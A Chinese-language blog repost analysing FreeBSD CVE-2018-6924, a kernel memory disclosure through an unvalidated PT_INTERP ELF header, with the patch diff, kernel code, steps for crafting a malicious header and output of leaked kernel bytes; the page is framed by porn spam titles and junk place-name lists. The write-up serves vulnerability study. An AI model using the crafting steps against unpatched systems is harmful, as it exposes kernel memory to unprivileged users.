亚洲激情专区-91九色丨porny丨老师-久久久久久久女国产乱让韩-国产精品午夜小视频观看

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

怎樣解析FreeBSD ELF頭導致的內核內存泄露

發布時間:2021-12-24 21:56:48 來源:億速云 閱讀:228 作者:柒染 欄目:安全技術

這篇文章給大家介紹怎樣解析FreeBSD ELF頭導致的內核內存泄露,內容非常詳細,感興趣的小伙伴們可以參考借鑒,希望對大家能有所幫助。

   在FreeBSD-SA-18:12這份安全公告中,FreeBSD修復了一個內核內存泄漏漏洞,該漏洞會影響相關操作系統的所有版本。這個漏洞就是這篇文章的主人公:漏洞CVE-2018-6924,由于FreeBSD內核在解析代碼指向的ELF頭時,缺少有效驗證,此時的本地非特權用戶就可以利用該漏洞查看內核內存的數據了。

怎樣解析FreeBSD ELF頭導致的內核內存泄露

漏洞補丁分析

跟往常一樣,安全公告中包含了補丁源碼的鏈接,我們先來看一看相關的補丁代碼:

---sys/kern/imgact_elf.c.orig+++sys/kern/imgact_elf.c@@-839,7 +839,8 @@            break;        case PT_INTERP:            /* Path to interpreter */-                   if (phdr[i].p_filesz >MAXPATHLEN) {+                   if (phdr[i].p_filesz < 2||+                       phdr[i].p_filesz >MAXPATHLEN) {                uprintf("InvalidPT_INTERP\n");                error = ENOEXEC;                goto ret;@@-870,6 +871,11 @@            } else {                interp = __DECONST(char *,imgp->image_header) +                    phdr[i].p_offset;+                           if(interp[interp_name_len - 1] != '\0') {+                                  uprintf("Invalid PT_INTERP\n");+                                   error =ENOEXEC;+                                   goto ret;+                           }            }            break;        case PT_GNU_STACK:---sys/kern/vfs_vnops.c.orig+++sys/kern/vfs_vnops.c@@-528,6 +528,8 @@    struct vn_io_fault_args args;    int error, lock_flags;+   if (offset < 0 && vp->v_type!= VCHR)+           return (EINVAL);    auio.uio_iov = &ampaiov;    auio.uio_iovcnt = 1;aiov.iov_base = base;

這里有兩處修改:sys/kern/imgact_elf.c和sys/kern/vfs_vnops.c。sys/kern/imgact_elf.c文件中包含了內核用于解析執行代碼ELF頭的代碼,修復后的函數如下:

776 static int777 __CONCAT(exec_, __elfN(imgact))(struct image_params *imgp)778  {       [...]

受影響函數的名稱是由__CONCAT和__elfN macros. __CONCAT生成的,它由這兩個參數組成,__elfN在sys/sys/elf_generic.h中定義:

函數名__CONCAT(exec_, __elfN(imgact))可以擴展成exec_elf32_imgact或 exec_elf64_imgact,具體取決于__ELF_WORD_SIZE定義為32還是64。但是在查看sys/kern/源目錄后,我們可以看到兩個名叫imgact_elf32.c和imgact_elf64.c的小型文件,它們負責給__ELF_WORD_SIZE定義適當的值,然后引入存在漏洞的文件kern/imgact_elf.c。此時,內核會包含兩個版本的sys/kern/imgact_elf.c(中的函數),而這些函數名都是使用__elfN宏來構建的:其中一個版本負責處理32位ELF代碼,另一個版本負責處理64位版本的ELF文件。

imgact_elf32.c:

#define__ELF_WORD_SIZE 32#include<kern/imgact_elf.c>

imgact_elf64.c:

#define__ELF_WORD_SIZE 64#include<kern/imgact_elf.c>

回到補丁代碼上,很明顯問題出在處理ELF文件的PT_INTERP程序頭上:

static int__CONCAT(exec_,__elfN(imgact))(struct image_params *imgp){    [...]    for (i = 0; i < hdr->e_phnum; i++) {        switch (phdr[i].p_type) {        [...]        case PT_INTERP:            /* Path to interpreter */            if (phdr[i].p_filesz >MAXPATHLEN) {                uprintf("InvalidPT_INTERP\n");                error = ENOEXEC;                goto ret;            }            [...]

PT_INTERP程序頭包含程序解析器的路徑名稱,它只對于可執行文件才有意義,PT_INTERP程序頭指向可執行文件時使用的是動態鏈接,并負責給動態鏈接的可執行程序加載所需的共享庫。一般來說,FreeBSD的程序解析器會在/libexec/ld-elf.so.1中設置。

下面給出的是一個針對32位ELF文件的特殊版本Elf_Phdr結構體:

typedef struct {    Elf32_Word      p_type;         /* Entry type. */    Elf32_Off       p_offset;       /* File offset of contents. */    Elf32_Addr      p_vaddr;        /* Virtual address in memory image. */    Elf32_Addr      p_paddr;        /* Physical address (not used). */    Elf32_Word      p_filesz;       /* Size of contents in file. */    Elf32_Word      p_memsz;        /* Size of contents in memory. */    Elf32_Word      p_flags;        /* Access permission flags. */    Elf32_Word      p_align;        /* Alignment in memory and file. */}Elf32_Phdr;

舊版本代碼只會檢測“if phdr[i].p_filesz > MAXPATHLEN”,如果條件判斷為真,函數便會拋出ENOEXEC異常,而修復后的代碼添加了額外的檢測。

構建PoC

為了觸發漏洞,我們需要讓我們的ELF填充至一個單獨的頁面中,C偽代碼如下:

int main(int argc, char** argv){    return argc;}

然后使用clang指令和-m32參數生成一個32位可執行程序,并添加-Oz-Wl和-s參數來讓文件大小盡可能的小(不超過4096個字節)。

% clang -Oz -Wl,-s -m32 test.c -o test

下面是我們構建的PT_INTERP相關代碼:

840                 case PT_INTERP:[...]852                         interp_name_len =phdr[i].p_filesz;853                         if (phdr[i].p_offset> PAGE_SIZE ||854                             interp_name_len> PAGE_SIZE - phdr[i].p_offset) {855                                VOP_UNLOCK(imgp->vp, 0);856                                 interp_buf =malloc(interp_name_len + 1, M_TEMP,857                                     M_WAITOK);858                                vn_lock(imgp->vp, LK_EXCLUSIVE | LK_RETRY);859                                 error =vn_rdwr(UIO_READ, imgp->vp, interp_buf,860                                    interp_name_len, phdr[i].p_offset,861                                    UIO_SYSSPACE, IO_NODELOCKED, td->td_ucred,862                                     NOCRED,NULL, td);863                                 if (error !=0) {864                                        uprintf("i/o error PT_INTERP\n");865                                         gotoret;866                                 }867                                interp_buf[interp_name_len] = '\0';868                                 interp = interp_buf;869                         } else {870                                 interp =__DECONST(char *, imgp->image_header) +871                                    phdr[i].p_offset;872                         }873                         break;

我們可以看到第853行和第854行,如果解析器路徑字符串的文件偏移量位于第一個頁面(phdr[i].p_offset > PAGE_SIZE),或者解析器路徑足夠長到超出第一個頁面(interp_name_len > PAGE_SIZE - phdr[i].p_offset),那么vn_rdwr()函數將會被調用,并讀取ELF文件對應的vnode。

觸發該漏洞的關鍵時p_offset成員不超過0x1000,并且解析器路徑字符串的長度不會超過PAGE_SIZE - phdr[i].p_offset。那么觸發該漏洞的關鍵就是,我們需要構造一個PT_INTERP程序頭,并包含p_offset成員值0x1000,然后還要讓p_filesz成員的值為0。我們這里使用了Kaitai WebIDE來構建了我們所需的東西:

怎樣解析FreeBSD ELF頭導致的內核內存泄露

怎樣解析FreeBSD ELF頭導致的內核內存泄露

披露內核數據

exec_elf32_imgact()函數會調用elf32_load_file()函數來加載解釋器,目標文件名路徑包含在interp變量中:

1036                if (interp != NULL) {1037                        have_interp = FALSE;[...]1058                        if (!have_interp) {1059                                error =__elfN(load_file)(imgp->proc, interp, &addr,1060                                   &imgp->entry_addr, sv->sv_pagesize);1061                        }1062                        vn_lock(imgp->vp,LK_EXCLUSIVE | LK_RETRY);1063                        if (error != 0) {1064                               uprintf("ELF interpreter %s not found, error %d\n",1065                                    interp,error);1066                                goto ret;1067                        }

運行修改后的ELF文件后,我們可以看到它將會竊取內核內存中的內容:

francisco@freebsd112:~% ./poc1ELFinterpreter ?3¤ not found, error 2Abortfrancisco@freebsd112:~% ./poc1ELFinterpreter  not found, error 2Abortfrancisco@freebsd112:~% ./poc1ELFinterpreter $???l not found, error 2Abortfrancisco@freebsd112:~% ./poc1ELFinterpreter ^?ELF^A^A^A  not found, error2Abort

獲取不可打印的輸出

下面的代碼段可以利用該漏洞獲取內核內存中75個字節的十六進制導出數據:

francisco@freebsd112:~% script -q capture1 ./poc1ELFinterpreter ?^[(^[(?^[(?^[(^[(^Z(^Z(^Z(^Z(^[(17^[(5^[(^[(^[(^[(  not found, error 2francisco@freebsd112:~% hexdump -C capture100000000  70 6f 63 31 3a 0d 0a 45  4c 46 20 69 6e 74 65 72  |poc1:..ELF inter|00000010  70 72 65 74 65 72 20 c5  83 5e 5b 28 cc 83 5e 5b  |preter ..^[(..^[|00000020  28 d4 83 5e 5b 28 dc 83  5e 5b 28 98 83 5e 5b 28  |(..^[(..^[(..^[(|00000030  d8 d1 5e 5a 28 e2 d1 5e  5a 28 fe e5 5e 5a 28 9c  |..^Z(..^Z(..^Z(.|00000040  bf 5e 5a 28 e3 83 5e 5b  28 31 37 5e 5b 28 35 ba  |.^Z(..^[(17^[(5.|00000050  5e 5b 28 e6 83 5e 5b 28  e9 83 5e 5b 28 f2 83 5e  |^[(..^[(..^[(..^|00000060  5b 28 20 6e 6f 74 20 66  6f 75 6e 64 2c 20 65 72  |[( not found, er|00000070  72 6f 72 20 32 0d 0a 70  6f 63 31 3a 20 73 69 67  |ror 2..poc1: sig|00000080  6e 61 6c 20 36 0d 0a                              |nal 6..|00000087

關于怎樣解析FreeBSD ELF頭導致的內核內存泄露就分享到這里了,希望以上內容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

黔江区| 塘沽区| 大冶市| 嘉义县| 靖州| 大英县| 武山县| 平利县| 蕲春县| 大城县| 长宁县| 平顺县| 马公市| 岐山县| 都匀市| 韶山市| 北海市| 武平县| 琼中| 甘谷县| 伊金霍洛旗| 营口市| 通江县| 宁德市| 孝义市| 新余市| 紫云| 霍邱县| 荣昌县| 鹿泉市| 龙口市| 临潭县| 顺义区| 乌兰浩特市| 若羌县| 卢龙县| 文水县| 平顺县| 油尖旺区| 珲春市| 东平县|